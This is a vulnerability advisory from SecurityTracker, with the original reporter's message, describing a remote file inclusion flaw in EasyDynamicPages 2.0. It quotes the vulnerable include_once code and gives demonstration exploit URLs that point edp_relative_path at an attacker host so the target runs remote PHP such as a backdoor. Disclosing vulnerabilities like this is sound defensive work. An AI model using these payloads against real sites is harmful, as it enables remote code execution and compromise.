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EasyDynamicPages Include File Holes Let Remote Users Execute Arbitrary Commands on the Target System
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SecurityTracker Alert ID: 1008584
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SecurityTracker URL: http://securitytracker.com/id?1008584
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CVE Reference: CVE-2004-0073
(Links to External Site)
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Updated: Jul 6 2008
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Original Entry Date: Jan 2 2004
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Impact: Execution of arbitrary code via network, User access via network
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Exploit Included: Yes
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Version(s): 2.0
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Description: An include file vulnerability was reported in EasyDynamicPages. A remote user can execute arbitrary PHP code and operating system commands on the target system.
It is reported that the '/admin/config.php' and '/dynamicpages/fast/config_page.php' files include files without validating the included
file. A remote user can supply a specially crafted URL to cause a PHP file at a remote location to be included by and executed
on the target system.
The report indicates that '/admin/config.php' includes the 'admin/serverdata.php' file. A demonstration
exploit URL that will execute the 'http://[attacker]/admin/serverdata.php' file is provided:
http://[target]/admin/config.php/edp_relative_path=http://[attacker]/
The report also indicates that '/dynamicpages/fast/config_page.php' includes the 'admin/site_settings.php' or 'admin/dpage_settings.php'
files. A demonstration exploit URL that will execute the 'http://[attacker]/admin/site_settings.php' file is provided:
http://[target]/dynamicpages/fast/config_page.p
hp?do=add_page&du=site&edp_relative_path=http://attacker/
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Impact: A remote user can execute arbitrary PHP code, including operating system commands, on the target system. The code and commands will run with the privileges of the target web service.
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Solution: No solution was available at the time of this entry.
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Vendor URL: software.stoitsov.com/ (Links to External Site)
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Cause: Input validation error, State error
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Underlying OS: Linux (Any), UNIX (Any), Windows (Any)
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Reported By: Vietnamese Security Group <security@security.com.vn>
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Message History:
None.
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Source Message Contents
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Date: 2 Jan 2004 15:18:21 -0000
From: Vietnamese Security Group <security@security.com.vn>
Subject: include() vuln in EasyDynamicPages v.2.0
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Producr:EasyDynamicPages v.2.0: Advanced Portal Management System
Vendors:http://software.stoitsov.com
Bug :include()
Risk:Cao
Author:tsbeginnervn(c)
Web : www.security.com.vn
-------------------------------------
Introduction :
system, personal or business site or what you need.
The goal is to have an automated web site not only to distribute news and items with automated system
but also easily to create and
edit dynamic web pages (DynamicPages) without knowledge of html, php or whether you need to develop
websites.
Each user can submit news, comments, discuss articles and more. Registered users and administrators c
an additionally create and modify
DynamicPages.
Plugins included with the install are BookMarks manager, E-Publish, E-card and E-gallery systems and
Yahoo-like E-Classifier system.
Features: design/content separation, web admin, user-customizable theme management, SiteConfig manage
r, PageEdit manager, Search engine,
Left-Right blocks system, editor to add news and for content management, modular DynamicalPages stru
cture, system self install and
more.
Written in PHP, works on windows, unix, linux and requires PHP, Apache and MySQL.
Vuln in files:
/admin/config.php va /dynamicpages/fast/config_page.php
==================
The Code in File /admin/config.php :
++++++++++++++++++++++++
include_once $edp_relative_path."admin/serverdata.php";
++++++++++++++++++++++++
Exploit:
http://victim/admin/config.php/edp_relative_path=http://attacker/
Voi host cua attacker:
http://attacker/admin/serverdata.php
The code in File /dynamicpages/fast/config_page.php :
++++++++++++++++++++++++
$ResultHtml="";
if ($do=="add_page") {
switch($du) {
case "site": include_once $edp_relative_path."admin/site_settings.php"; break;
case "dpage": include_once $edp_relative_path."admin/dpage_settings.php"; break;
++++++++++++++++++++++++
Exploit:
http://victim/dynamicpages/fast/config_page.php?do=add_page&du=site&edp_relative_path=http://
attacker/
If a attacker have Script backdoor in URL :
http://attacker/admin/site_settings.php
Then acttacker exploit :
http://victim/dynamicpages/fast/config_page.php?do=add_page&du=dpage&edp_relative_path=http:/
/attacker/
====================================================================
tsbeginnervn - BugSearch
www.security.com.vn
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